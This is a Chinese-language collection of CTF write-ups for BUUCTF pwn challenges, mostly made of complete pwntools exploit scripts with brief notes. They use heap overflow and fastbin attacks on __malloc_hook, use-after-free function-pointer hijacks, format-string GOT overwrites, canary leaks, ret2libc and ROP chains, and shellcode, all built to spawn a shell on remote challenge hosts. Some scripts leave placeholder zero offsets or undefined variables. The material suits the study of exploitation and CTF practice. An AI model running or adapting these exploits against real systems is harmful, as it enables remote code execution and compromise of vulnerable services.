babyheap_0ctf_2017
堆溢出,extend overlap,unsortedbin leak,fastbin attack
edit选项可以随意溢出堆块,通过扩展堆块造成重叠,把后面一个bins的fd给打出来,从而泄露libc,通过fastbin attack将malloc_hook改为one_gadget
- extend overlap
1.首先申请四个堆块,note0用于溢出修改note1的size,note2用于置入unsorted bin,note3用于防止note2释放后合并入topchunk
add(0x10) #note0
add(0x80) #note1
add(0x80) #note2
add(0x20) #note3
2.修改note1的size为0xc1
content = b"b"*0x20 + p64(0) + p64(0x61)
edit(2, 0x30, content)
content = b"a"*0x18 + p64(0xc1)
edit(0, 0x20, content)
delete(1)
为了在free时通过下面的检测,这里还在note2里伪造了note1_extend的下一个堆块
3.将note1_extend重新申请回来,完成扩展,同note2重叠,由于调用的calloc,note1_extend内部被初始化了0,需要重新写入note2的header,注意重新申请回来的note1_extend编号仍然为1
add(0xb0)
content = b"c"*0x78 + b"d"*8 + p64(0) + p64(0x91)
edit(1, 0x90, content)
- unsortedbin leak
1.释放note2到unsortedbins,通过show note1_extend,将note2的fd指针打出来
delete(2)
show(1)
2.完成一些地址的计算
p.recvuntil("d"*8)
p.recv(16)
bins_addr = hex(u64(p.recv(8)))
main_arena_addr = int(bins_addr, 16) - 0x58
main_arena_offset = 0x7f7287a48b20-0x00007f7287684000
libc_base = main_arena_addr - main_arena_offset
print("libc_base ==> " + hex(libc_base))
one_gadget = libc_base + 0x4526a
print("one_gadget ==> " + hex(one_gadget))
fd_addr = main_arena_addr - 0x33
malloc_hook_offset = (main_arena_addr - 0x10) - (fd_addr + 0x10)
关于main_arena_offset的计算:
关于fd_addr即fastbin attack的目标地址的计算:
在malloc_hook的上方一点位置,找到一个可以伪造size为0x7f即0x80的fastbin
- fastbin attack
1.重新申请两个堆块,注意note2是切割了unsorted bin的一块内存,note4是切割的topchunk,其和note3是物理相邻的,释放note4到fastbin,通过note3溢出修改note4的fd指针,指向伪造堆块
add(0x20) #note2
add(0x60) #note4
delete(4)
content = b"e"*0x20 + p64(0x30) + p64(0x71) + p64(fd_addr)
edit(3, 0x38, content)
2.申请两次内存,将fakechunk分配下来,往指定偏移处写入one_gadget
add(0x60) #note4
add(0x60) #note5
content = (b"\x00" * malloc_hook_offset + p64(one_gadget)).ljust(0x20, b'\x00')
edit(5, 0x20, content)
3.再次malloc,触发malloc_hook,调用one_gadget
add(0x10)
- 完整EXP
from pwn import *
context.arch = 'amd64'
#p = process("./babyheap_bck")
p = remote("node4.buuoj.cn", 28723)
def add(size):
p.recvuntil("Command: ")
p.sendline("1")
p.recvuntil("Size: ")
p.sendline(str(size))
def delete(index):
p.recvuntil("Command: ")
p.sendline("3")
p.recvuntil("Index: ")
p.sendline(str(index))
def edit(index, size, content):
p.recvuntil("Command: ")
p.sendline("2")
p.recvuntil("Index: ")
p.sendline(str(index))
p.recvuntil("Size: ")
p.sendline(str(size))
p.recvuntil("Content: ")
p.sendline(content)
def show(index):
p.recvuntil("Command: ")
p.sendline("4")
p.recvuntil("Index: ")
p.sendline(str(index))
add(0x10)
add(0x80)
add(0x80)
add(0x20)
content = b"b"*0x20 + p64(0) + p64(0x61)
edit(2, 0x30, content)
content = b"a"*0x18 + p64(0xc1)
edit(0, 0x20, content)
delete(1)
add(0xb0)
content = b"c"*0x78 + b"d"*8 + p64(0) + p64(0x91)
edit(1, 0x90, content)
delete(2)
show(1)
p.recvuntil("d"*8)
p.recv(16)
bins_addr = hex(u64(p.recv(8)))
main_arena_addr = int(bins_addr, 16) - 0x58
main_arena_offset = 0x7f7287a48b20-0x00007f7287684000
libc_base = main_arena_addr - main_arena_offset
print("libc_base ==> " + hex(libc_base))
one_gadget = libc_base + 0x4526a
print("one_gadget ==> " + hex(one_gadget))
fd_addr = main_arena_addr - 0x33
malloc_hook_offset = (main_arena_addr - 0x10) - (fd_addr + 0x10)
add(0x20)
add(0x60)
delete(4)
content = b"e"*0x20 + p64(0x30) + p64(0x71) + p64(fd_addr)
edit(3, 0x38, content)
add(0x60)
add(0x60)
content = (b"\x00" * malloc_hook_offset + p64(one_gadget)).ljust(0x20, b'\x00')
edit(5, 0x20, content)
add(0x10)
p.interactive()
ez_pz_hackover_2016
memcpy栈溢出,ret2shellcode
程序没开nx,并且给了buf变量的地址,直接ret2shellcode
from pwn import *
r=remote('node4.buuoj.cn',28158)
#p=process('./ez_pz_hackover_2016')
context.log_level='debug'
r.recvuntil('crash: ')
stack=int(r.recv(10),16)
shellcode=asm(shellcraft.sh())#利用pwntools自动生成shellcode
payload=b'crashme\x00'+b'a'*(0x16-8+4)+p32(stack-0x1c)+shellcode
r.sendline(payload)
r.interactive()
wustctf2020_getshell
read栈溢出,ret2text
from pwn import*
r=remote('node4.buuoj.cn',26592)
shell_addr=0x804851B
payload=b'a'*(0x18+4)+p32(shell_addr)
r.sendline(payload)
r.interactive()
jarvisoj_level3_x64
read栈溢出,ret2libc
write泄露libc,getshell
rdx已被置200
from pwn import *
r=remote('node3.buuoj.cn',29886)
context(os = "linux", arch = "amd64", log_level= "debug")
elf=ELF('./level3_x64')
write_plt=elf.plt['write']
write_got=elf.got['write']
main=0x40061A
rdi=0x4006b3
rsi_r15=0x4006b1
payload='a'*(0x80+8)+p64(rdi)+p64(1)
payload+=p64(rsi_r15)+p64(write_got)+p64(8)
payload+=p64(write_plt)
payload+=p64(main)
r.sendlineafter('Input:',payload)
write_addr=u64(r.recvuntil('\x7f')[-6:].ljust(8,'\x00'))
print hex(write_addr)
libc_base=write_addr-0
system_addr=libc_base+0
binsh=libc_base+0
payload='a'*(0x80+8)+p64(rdi)+p64(binsh)+p64(system_addr)
r.sendlineafter('Input:',payload)
r.interactive()
bjdctf_2020_babyrop2
read栈溢出,printf格式化字符串可控,泄露canary,ret2libc
利用printf("%7$p"),泄露canary,偏移7=5个寄存器+2个栈上偏移
剩下的就是puts泄露got,ret2libc
from pwn import *
#r = remote("node4.buuoj.cn",27174)
r = process("./bjdctf_2020_babyrop2")
elf = ELF("./bjdctf_2020_babyrop2")
puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
vuln_addr = elf.symbols['vuln']
rdi_addr = 0x400993
payload = "%7$p"
r.sendlineafter("u!\n",payload)
r.recvuntil("0x")
canary = int(r.recv(16),16)
payload = p64(canary)
payload = payload.rjust(0x20,b'M')
payload += b'M'*8 + p64(rdi_addr) + p64(puts_got) + p64(puts_plt) + p64(vuln_addr)
r.sendlineafter("story!\n",payload)
put_addr = u64(r.recv(6).ljust(8,b'\x00'))
print(hex(put_addr))
base_addr = put_addr - 0
system_addr = base_addr + 0
bin_sh_addr = base_addr + 0
payload = p64(canary)
payload = payload.rjust(0x20,b'M')
payload += b'M'*8 + p64(rdi_addr) + p64(bin_sh_addr) + p64(system_addr)
r.sendlineafter("story!\n",payload)
r.interactive()
pwnable_orw
seccomp,shellcode
程序用prctl设置了保护沙箱,用seccomp-tools查看允许的系统调用
system没了,还有orw,直接打出flag,写shellcode
1.自己写汇编
from pwn import *
context(log_level = 'debug', arch = 'i386', os = 'linux')
p=remote('node3.buuoj.cn',29475)
shellcode=""
# sys_open(file,0,0)
shellcode += asm('xor ecx,ecx;mov eax,0x5; push ecx;push 0x67616c66; mov ebx,esp;xor edx,edx;int 0x80;')
# sys_read(3,file,0x30)
shellcode += asm('mov eax,0x3;mov ecx,ebx;mov ebx,0x3;mov dl,0x30;int 0x80;')
# sys_write(1,file,0x30)
shellcode += asm('mov eax,0x4;mov bl,0x1;mov edx,0x30;int 0x80;')
recv = p.recvuntil(':')
p.sendline(shellcode)
flag = p.recv(100)
print flag
2.用shellcraft生成
from pwn import *
r = remote('node4.buuoj.cn',26411)
context.log_level = 'debug'
elf = ELF('orw')
shellcode = shellcraft.open('/flag')
shellcode += shellcraft.read('eax','esp',100)
shellcode += shellcraft.write(1,'esp',100)
shellcode = asm(shellcode)
r.sendline(shellcode)
r.interactive()
jarvisoj_level4
read栈溢出,write泄露地址,ret2libc
from os import sendfile
from pwn import *
#start
r = remote("node4.buuoj.cn",26914)
# r = process("./jarvisoj_level4")
elf = ELF("./jarvisoj_level4")
libc = ELF("./libc.so")
#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x88+4) + p32(write_plt) + p32(main_addr) + p32(1) +p32(write_got) +p32(4)
r.sendline(payload)
write_addr = u32(r.recv(4))
#libc
base_addr = write_addr - libc.symbols['write']
system_addr = base_addr + libc.symbols['system']
bin_sh_addr = base_addr + next(libc.search(b'/bin/sh'))
#attack2
payload = b'M'*(0x88+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.sendline(payload)
r.interactive()
bjdctf_2020_router
linux命令连接符
mrctf2020_shellcode
直接输入shellcode
from pwn import *
p=remote("node4.buuoj.cn",25476)
#context.arch='amd64'
context(arch = 'amd64', os = 'linux', log_level = 'debug')
elf=ELF('./mrctf2020_shellcode')
shellcode=asm(shellcraft.sh())
p.sendline(shellcode)
p.interactive()
EasyHeap
堆溢出,unlink,篡改free got
edit时堆块任意溢出,有个这玩意
用unsortedbin attack把bss段上的一个值改的很大,就可以调用这个l33t
from pwn import *
p = process("./easyheap")
def add(size, content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
def edit(index, size, content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
add(0x10, b"a"*0x10)
add(0x80, b"b"*0x80)
add(0x10, b"a"*0x10)
add(0x80, b"b"*0x80)
add(0x10, b"a"*0x10)
delete(3)
delete(1)
content = b"c"*0x10 + p64(0x20) + p64(0x91) + p64(0) + p64(0x6020B0)
edit(2, 0x30, content)
add(0x80, b"b"*0x80)
p.recvuntil("Your choice :")
p.sendline("4869")
结果虚晃一枪
l33t不能直接使用,应该是只用来提供system地址,还差一个"/bin/sh",考虑直接输入,故尝试一下篡改free或者atoi的got
有堆表,那就考虑一下用unlink来任意地址写,有几点要注意:
- 不能直接释放相邻堆块,不然指针会被清空,需要伪造一个被释放的fakechunk
- heaparray要指向堆块头部,而正常create的堆表是指向数据区的,故需要将fakechunk往下移0x10,使得heaparray指向其头部
- fakechunk的size缩小0x10,fakechunk的上一堆块的size扩大0x10
- 注意控制相邻堆块的size和presize
from pwn import *
#p = process("./easyheap")
p = remote("node4.buuoj.cn", 26236)
def add(size, content):
p.recvuntil("Your choice :")
p.sendline("1")
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap:")
p.sendline(content)
def edit(index, size, content):
p.recvuntil("Your choice :")
p.sendline("2")
p.recvuntil("Index :")
p.sendline(str(index))
p.recvuntil("Size of Heap : ")
p.sendline(str(size))
p.recvuntil("Content of heap : ")
p.sendline(content)
def delete(index):
p.recvuntil("Your choice :")
p.sendline("3")
p.recvuntil("Index :")
p.sendline(str(index))
add(0x10, b"a"*0x10)
add(0x80, b"a"*0x80)
add(0x90, b"b"*0x90)
add(0x10, b"c"*0x80)
content = b"a"*0x18 + p64(0xa1)
edit(0, 0x20, content)
ptr = 0x6020f0
content = b"d"*0x90 + p64(0x90) + p64(0x91) + p64(ptr-0x18) + p64(ptr-0x10) + b"e"*0x70 + p64(0x90) + p64(0x20)
edit(1, 0x130, content)
delete(1)
atoi_got = 0x602068
content = b"a"*0x18 + p64(atoi_got)
edit(2, 0x20, content)
system_plt = 0x400700
content = p64(system_plt)
edit(2, 0x8, content)
p.recvuntil("Your choice :")
p.send("/bin/sh\n")
p.interactive()
picoctf_2018_buffer overflow
gets栈溢出,ret2text
from pwn import *
# r = process("../buu/PicoCTF_2018_buffer_overflow_1")
r = remote("node4.buuoj.cn",25093)
win_addr = 0x80485CB
payload= b'M'*(0x28+4) + p32(win_addr)
r.recv()
r.sendline(payload)
r.interactive()
Black Watch 入群题
read栈溢出,栈劫持
第一次read向bss段读入数据,第二次read可溢出栈上8字节
bss段没有执行权限,不能ret2shellcode
那就需要泄露libc,栈上布置rop链的字节不够,考虑将栈劫持到bss段
然后write泄露libc,getshell
from pwn import *
context.log_level = 'debug'
#sh = process('./spwn')
sh = remote('node4.buuoj.cn',29185)
elf = ELF('./spwn')
libc = ELF('./libc.so')
bss_addr = 0x0804a300 #也就是s的地址
leave_ret = 0x08048408 #gadget
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
#第一轮执行leak出write地址来计算libc
payload = p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
sh.sendafter("name?",payload)
payload = b'a'*0x18 + p32(bss_addr-0x4) + p32(leave_ret)
sh.sendafter("say?",payload)
#接收leak
libc_write = u32(sh.recv(4))
#计算基地址、system()地址、字符串/bin/sh地址
libc_base = libc_write - libc.symbols['write']
system_addr = libc.symbols['system'] + libc_base
binsh_addr = libc.search('/bin/sh').next() + libc_base
#第二轮执行栈溢出ret2libc
payload = p32(system_addr) + p32(main_addr) + p32(binsh_addr)
sh.sendafter("name?",payload)
payload = b'a'*0x18 + p32(bss_addr-0x4) + p32(leave_ret)
sh.sendafter("say?",payload)
sh.interactive()
hacknote
uaf,堆块复用,类型混淆,劫持函数指针
程序中的堆块分为数据区和堆元区,堆元区中保存函数指针
uaf漏洞可以让数据区复用堆元区的空间,改写函数指针
# -*- coding: utf-8 -*-
from pwn import *
r = remote("node4.buuoj.cn", 27369)
#r = process('./hacknote')
def addnote(size,content):
r.recvuntil(":")
r.sendline("1")
r.recvuntil(":")
r.sendline(str(size))
r.recvuntil(":")
r.sendline(content)
def delnote(idx):
r.recvuntil(":")
r.sendline("2")
r.recvuntil(":")
r.sendline(str(idx))
def printnote(idx):
r.recvuntil(":")
r.sendline("3")
r.recvuntil(":")
r.sendline(str(idx))
addnote(0x10, b"a"*8)
addnote(0x10, b"a"*8)
delnote(0)
delnote(1)
magic_addr = 0x08048945
addnote(0x8, p32(magic_addr))
printnote(0)
r.interactive()
inndy_rop
gets栈溢出,静态链接,ret2syscall
静态链接,没有system,有int 0x80,考虑ret2syscall
两种方式获取“/bin/sh”:
-
可以截取"sh"字符串地址
-
通过下面的rop将字符串从栈上写到data段
p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea060) # @ .data p += pack('<I', 0x080b8016) # pop eax ; ret p += b'/bin' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret p += pack('<I', 0x0806ecda) # pop edx ; ret p += pack('<I', 0x080ea064) # @ .data + 4 p += pack('<I', 0x080b8016) # pop eax ; ret p += b'//sh' p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
由于是静态链接嘛,gadget是大大的有的,也可以用ropgadget直接生成一段很长的rop
ROPgadget --binary rop --ropchain
from pwn import*
from struct import pack
r=remote('node3.buuoj.cn',26917)
def payload():
p='a'*(0xc+4)
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '/bin'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea064) # @ .data + 4
p += pack('<I', 0x080b8016) # pop eax ; ret
p += '//sh'
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0805466b) # mov dword ptr [edx], eax ; ret
p += pack('<I', 0x080481c9) # pop ebx ; ret
p += pack('<I', 0x080ea060) # @ .data
p += pack('<I', 0x080de769) # pop ecx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x0806ecda) # pop edx ; ret
p += pack('<I', 0x080ea068) # @ .data + 8
p += pack('<I', 0x080492d3) # xor eax, eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0807a66f) # inc eax ; ret
p += pack('<I', 0x0806c943) # int 0x80
return p
shell = payload()
r.sendline(shell)
r.interactive()
jarvisoj_test_your_memory
scanf栈溢出,ret2text
from pwn import *
r =remote('node4.buuoj.cn',29233)
system_plt = 0x8048440
cat_flag = 0x80487e0
payload = b'a' * (0x13+4) + p32(system_plt) + p32(0x8048677) + p32(cat_flag)
r.sendline(payload)
r.interactive()
cmcc_simplerop
read栈溢出,静态链接,ret2syscall
三种方法:
-
ROPgadget自动生成
ROPgadget --binary simplerop --ropchain
from pwn import * io = process("./simplerop") # remote环境可以在BUUCTF上找到 # io = remote("node3.buuoj.cn", 27111) from struct import pack # Padding goes here p = cyclic(0x14+0x4+0x8) # 动态调试得到,IDA显示的不对 p += pack(b'<I', 0x0806e82a) # pop edx ; ret p += pack(b'<I', 0x080ea060) # @ .data p += pack(b'<I', 0x080bae06) # pop eax ; ret p += b'/bin' p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack(b'<I', 0x0806e82a) # pop edx ; ret p += pack(b'<I', 0x080ea064) # @ .data + 4 p += pack(b'<I', 0x080bae06) # pop eax ; ret p += b'//sh' p += pack(b'<I', 0x0809a15d) # mov dword ptr [edx], eax ; ret p += pack(b'<I', 0x0806e850) # pop_edx_ecx_ebx p += p32(0)+p32(0)+p32(0x080ea060) p += pack(b'<I', 0x080bae06) # pop eax ; ret p += p32(0xb) p += pack(b'<I', 0x080493e1) # int 0x80 print(len(p)) io.send(p) io.interactive()
-
利用read函数将"/bin/sh\x00"地址读取到固定地址,方便给ebx传递参数
from pwn import * io = process("./simplerop") read = 0x0806CD50 pop_edx_ecx_ebx = 0x0806e850 pop_eax = 0x080bae06 int_0x80 = 0x080493e1 sh = 0x080EC304 pad = cyclic(0x14+0xc) # overwrite ret addr to read --> read(0, sh, 8) # overwrite read's ret addr to p32(pop_edx_ecx_ebx) pad += p32(read)+p32(pop_edx_ecx_ebx) # use p32(pop_edx_ecx_ebx) to clear stack data, # then edx will be 0, ecx will be sh, ebx will be 8, and then ret pad += p32(0)+p32(sh)+p32(8) # use p32(pop_edx_ecx_ebx) to recv stack data, # then edx will be 0, ecx will be 0, ebx will be sh, and then ret pad += p32(pop_edx_ecx_ebx)+p32(0)+p32(0)+p32(sh) # eax will be 0xb, then ret to syscall --> getshell pad += p32(pop_eax)+p32(0xb)+p32(int_0x80) print(len(pad)) io.send(pad) io.send(b"/bin/sh\x00") io.interactive()
-
mprotect开辟出一个可写可执行的内存区域
mprotect函数原型如下:int mprotect(const void *start, size_t len, int prot);,第一个是开辟的地址起始位置,需要和内存页对齐,也就是能被0x1000整除;第二参数也需要是内存页的整数倍;第三个是开辟的内存属性,7代表可读可写可执行。
from pwn import * io = process("./simplerop") pro = ELF("./simplerop") mprotect = pro.symbols["mprotect"] print(" ===> ", hex(mprotect)) read = pro.symbols["read"] print(" ===> ", hex(read)) context(os="linux", arch="i386") code = asm(shellcraft.sh()) code_addr = 0x80e9000 pop_edx_ecx_ebx = 0x0806e850 pad = cyclic(0x14+0xc) # overwrite ret addr to mprotect --> mprotect(code_addr, 0x1000, 7) # overwrite mprotect's ret addr to p32(pop_edx_ecx_ebx) pad += p32(mprotect)+p32(pop_edx_ecx_ebx) # use p32(pop_edx_ecx_ebx) to clear stack data, # then edx will be code_addr, ecx will be 0x1000, ebx will be 7, and then ret pad += p32(code_addr)+p32(0x1000)+p32(7) # use read to recv code --> read(0, code_addr, len(code)) # p32(pop_edx_ecx_ebx) in read ret addr, use it to clear stack data, and then ret pad += p32(read)+p32(pop_edx_ecx_ebx) pad += p32(0)+p32(code_addr)+p32(len(code)) # ret to code_addr --> getshell pad += p32(code_addr) print(len(pad)) io.send(pad) io.send(code) io.interactive()
picoctf_2018_buffer overflow_2
gets栈溢出,ret2text
from pwn import*
r=remote('node4.buuoj.cn',28040)
payload=b'a'*(0x6c+4)+p32(0x80485cb)+p32(0)+p32(0xDEADBEEF)+p32(0xDEADC0DE)
r.sendline(payload)
r.interactive()
bbys_tu_2016
scanf栈溢出,ret2text
from pwn import *
r=remote('node4.buuoj.cn',29982)
flag_addr=0x804856D
payload='a'*(0x14+4)+p32(flag_addr)
r.sendline(payload)
r.interactive()
wustctf2020_getshell_2
read栈溢出,ret2text
只能溢出12个字节,需要布置system和其参数,system_plt需要压返回地址,call_system_addr不需要压返回地址,故使用后者
from pwn import *
#start
r = remote("node4.buuoj.cn",27929)
# r = process("../buu/wustctf2020_getshell_2")
#params
sh_addr = 0x08048670
system_addr = 0x08048529
#attack
payload = b'M'*(0x18+4) + p32(system_addr) + p32(sh_addr)
r.recv()
r.sendline(payload)
r.interactive()
xdctf2015_pwn200
read栈溢出,ret2libc
from pwn import *
#start
r = remote("node4.buuoj.cn",25323)
# r = process("../buu/xdctf2015_pwn200")
elf = ELF("../buu/xdctf2015_pwn200")
#params
write_plt = elf.plt['write']
write_got = elf.got['write']
main_addr = elf.symbols['main']
#attack
payload = b'M'*(0x6c+4) + p32(write_plt) + p32(main_addr) + p32(1) + p32(write_got) + p32(4)
r.recv()
r.sendline(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
#libc
base_addr = write_addr - 0x000d43c0
system_addr = base_addr + 0x0003a940
bin_sh_addr = base_addr + 0x0015902b
#attack2
payload = b'M'*(0x6c+4) + p32(system_addr) + p32(main_addr) + p32(bin_sh_addr)
r.recv()
r.sendline(payload)
r.interactive()
mrctf2020_easyoverflow
from pwn import *
r=remote("node4.buuoj.cn",26290)
payload=b'a'*0x30+"n0t_r3@11y_f1@g"
r.sendline(payload)
r.interactive()
ciscn_2019_s_4
read栈溢出,栈劫持,ret2text
两次read,还有printf,溢出字节不够,考虑栈劫持到buf
from pwn import *
p=remote('node4.buuoj.cn',29737)
#p=process('./ciscn_s_4')
context.log_level='debug'
sys_addr=0x8048400
leave=0x080484b8
payload=b'a'*0x24+b'bbbb'
p.recvuntil('name?')
p.send(payload)
p.recvuntil('bbbb')
ebp=u32(p.recv(4).ljust(4, b'\x00'))
#gdb.attach(p)
print 'ebp='+hex(ebp)
buf=ebp-0x38
payload=(p32(sys_addr)+b'aaaa'+p32(buf+12)+b'/bin/sh\x00').ljust(0x28,b'a')+p32(buf-4)+p32(leave)
p.send(payload)
#gdb.attach(p)
p.interactive()
[ZJCTF 2019]Login
通过溢出控制栈上的函数指针
c++写的程序
password_checker函数中,比较输入和密码,如果一致,就调用一个函数指针,那关键就是它了
看看这个函数指针怎么来的,另外一个password_checker函数中,将某个function的地址保存到了栈上,在随后把这个栈地址传给了上面的校验函数
函数地址是保存到栈上的,那在两个password_checker函数之间,有没有输入函数能覆盖到这个栈地址呢,找了一下,主函数里没有,唯一可能的只有read_password函数
那调试看看呗,先看第一个password_checker函数返回的栈地址为0x7fffffffdce8,保存的函数指针为0x400ab4
往下走,跟进readPassword函数,可以看到fgets从0x7fffffffdca0往下输入,一共输入0x4f个字节,0x7fffffffdca0+0x4f=0x0x7fffffffdcef
,可以覆盖0x7fffffffdce8这个栈地址的6个字节,ok,对篡改函数地址后几位足够了
通过system交叉引用找到个这玩意
那么只要把0x400ab4改为0x400e88,需要3个字节,顺便计算一下偏移为0x7fffffffdce8-0x7fffffffdca0=0x48
用户名输入admin
,密码前几位输入2jctf_pa5sw0rd
from pwn import *
# p = process("./login")
p = remote("node4.buuoj.cn", 25689)
p.recvuntil("username: ")
p.sendline("admin")
payload = b"2jctf_pa5sw0rd".ljust(0x48, b"\x00") + b"\x88\x0e\x40"
p.recvuntil("password: ")
gdb.attach(p)
pause()
p.sendline(payload)
p.interactive()
jarvisoj_level1
read栈溢出,ret2libc
from pwn import *
r = remote('node4.buuoj.cn',28283)
elf = ELF("./level1")
main_addr=0x80484b7
write_plt=elf.plt['write']
write_got=elf.got['write']
payload =b'a' * (0x88 + 0x4 ) + p32(write_plt) + p32(main_addr) +p32(0x1)+p32(write_got)+p32(0x4)
r.send(payload)
write_addr = u32(r.recv(4))
print(hex(write_addr))
base_addr = write_addr - 0x000d43c0
system_addr = base_addr + 0x0003a940
bin_sh_addr = base_addr + 0x0015902b
payload =b'a' * (0x88 + 0x4) + p32(system_addr) + p32(main_addr)+ p32(bin_sh_addr)
r.send(payload)
r.interactive()
wustctf2020_closed
close(1)把程序的标准输出给关了,解决办法:
exec 1>&0
把标准输出重定向到标准输入,因为默认打开一个终端后,0,1,2都指向同一个位置也就是当前终端,所以这条语句相当于重启了标准输出
hitcontraining_magicheap
和EasyHeap一样
axb_2019_fmt32
printf格式化字符串可控,任意地址读写
printf泄露libc,考虑printf和strlen两个函数可以传入"/bin/sh",可以改写它们的got
- 手动构造格式化字符串的payload,写got的时候用
%kc%m$hn
分两次写入
from pwn import *
puts_got = 0x804A01C
p = process("./fmt")
p.recvuntil("Please tell me:")
payload = b"A" + p32(puts_got) + b"BBBB" + b"%8$s"
p.sendline(payload)
p.recvuntil("BBBB")
puts_addr = u32(p.recv(4))
print("puts => " + hex(puts_addr))
libc_base = puts_addr - 0x0005f140
system_addr = libc_base + 0x0003a940
strlen_got = 0x804A024
high_sys = (system_addr >> 16) & 0xffff
low_sys = system_addr & 0xffff
print('sys: '+hex(system_addr))
print('low: '+hex(low_sys))
print('high: '+hex(high_sys))
payload = b'A' + p32(strlen_got) + p32(strlen_got+2) + b'%' + str(low_sys-18).encode("utf-8") +b'c%8$hn' + b'%' + str(high_sys - low_sys).encode("utf-8") + b'c%9$hn'
# payload = 'A' + p32(strlen_got) + '%' + str(system_addr-14) + 'c%8$n'
# 用%n写入不行,程序超时而且并没有写入,之后还是正常运行
p.sendafter("Please tell me:", payload)
payload = ';/bin/sh\x00'
p.sendafter("Please tell me:", payload)
p.interactive()
- 用fmtstr_payload自动构造格式化字符串payload
fmtstr_payload(offset, writes, numbwritten=0, write_size=‘byte’)
第一个参数表示格式化字符串的偏移
第二个参数表示需要利用%n写入的数据,采用字典形式,我们要将printf的GOT数据改为system函数地址,就写成{printfGOT:systemAddress};
第三个参数表示已经输出的字符个数
第四个参数表示写入方式,是按字节(byte)、按双字节(short)还是按四字节(int),对应着hhn、hn和n,默认值是byte,即按hhn写
from pwn import *
context(os='linux',arch='i386',log_level='debug')
#r = process("./axb_2019_fmt32")
r = remote("node4.buuoj.cn","26466")
elf=ELF("./fmt")
printf_got = elf.got['printf']
payload = b'a' + p32(printf_got) +b'22'+ b'%8$s'
r.sendafter('me:', payload)
r.recvuntil("22")
printf_addr = u32(r.recv(4))
print ("printf_addr"+hex(printf_addr))
libc_base = puts_addr - 0x0005f140
system_addr = libc_base + 0x0003a940
print ("system_addr"+hex(system))
payload='a'+fmtstr_payload(8,{printf_got:system},write_size = "byte",numbwritten = 0xa)
#p.recvuntil(':')
r.sendline(payload)
r.sendline(';/bin/sh\x00')
r.interactive()
others_babystack
read栈溢出,泄露canary,ret2libc
用"\n"覆盖canary低字节的"\x00",puts带出canary
然后puts泄露libc,getshell
from pwn import *
r=remote('node4.buuoj.cn',27069)
#r=process('./babystack')
elf=ELF('./babystack')
context.log_level='debug'
#泄露canary
r.sendlineafter(">>",'1')
payload=b'a'*(0x90-8)
r.sendline(payload)
r.sendlineafter('>>','2')
r.recvuntil('a\n')
canary=u64(r.recv(7).rjust(8,b'\x00'))
print (hex(canary))
pop_rdi=0x400a93
puts_got=elf.got['puts']
puts_plt=elf.plt['puts']
main_addr=0x400908
#泄露puts函数的got表地址
payload=b'a'*(0x90-8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
r.sendlineafter(">>",'1')
r.sendline(payload)
r.sendlineafter(">>",'3')
r.recv()
puts_addr=u64(r.recv(6).ljust(8,b'\x00'))
print(hex(puts_addr))
#计算system函数和字符串‘/bin/sh’在程序里的实际地址
libc_base=puts_addr-0x6f690
system=libc_base+0x45390
binsh=libc_base+0x18cd57
#构造rop攻击获取shell
payload=b'a'*(0x90-8)+p64(canary)+p64(0)
payload+=p64(pop_rdi)+p64(binsh)+p64(system)
r.sendlineafter('>>','1')
r.sendline(payload)
r.sendlineafter('>>','3')
r.interactive()
ciscn_2019_n_3
uaf,堆块复用,函数指针劫持
通过数据区和堆元区的堆块复用,将free(ptr),改为system("sh")
from pwn import *
context.log_level = 'debug'
# p = process("./ciscn_2019_n_3")
p = remote("node4.buuoj.cn", 28071)
def add(index, size, content):
p.recvuntil("CNote > ")
p.sendline("1")
p.recvuntil("Index > ")
p.sendline(str(index))
p.recvuntil("Type > ")
p.sendline("2")
p.recvuntil("Length > ")
p.sendline(str(size))
p.recvuntil("Value > ")
p.sendline(content)
def delete(index):
p.recvuntil("CNote > ")
p.sendline("2")
p.recvuntil("Index > ")
p.sendline(str(index))
def show(index):
p.recvuntil("CNote > ")
p.sendline("3")
p.recvuntil("Index > ")
p.sendline(str(index))
add(0, 20, b"a")
add(1, 20, b"b")
delete(0)
delete(1)
system_plt = 0x8048500
payload = b"sh\x00\x00" + p32(system_plt)
add(2, 12, payload)
delete(0)
p.interactive()
pwnable_start
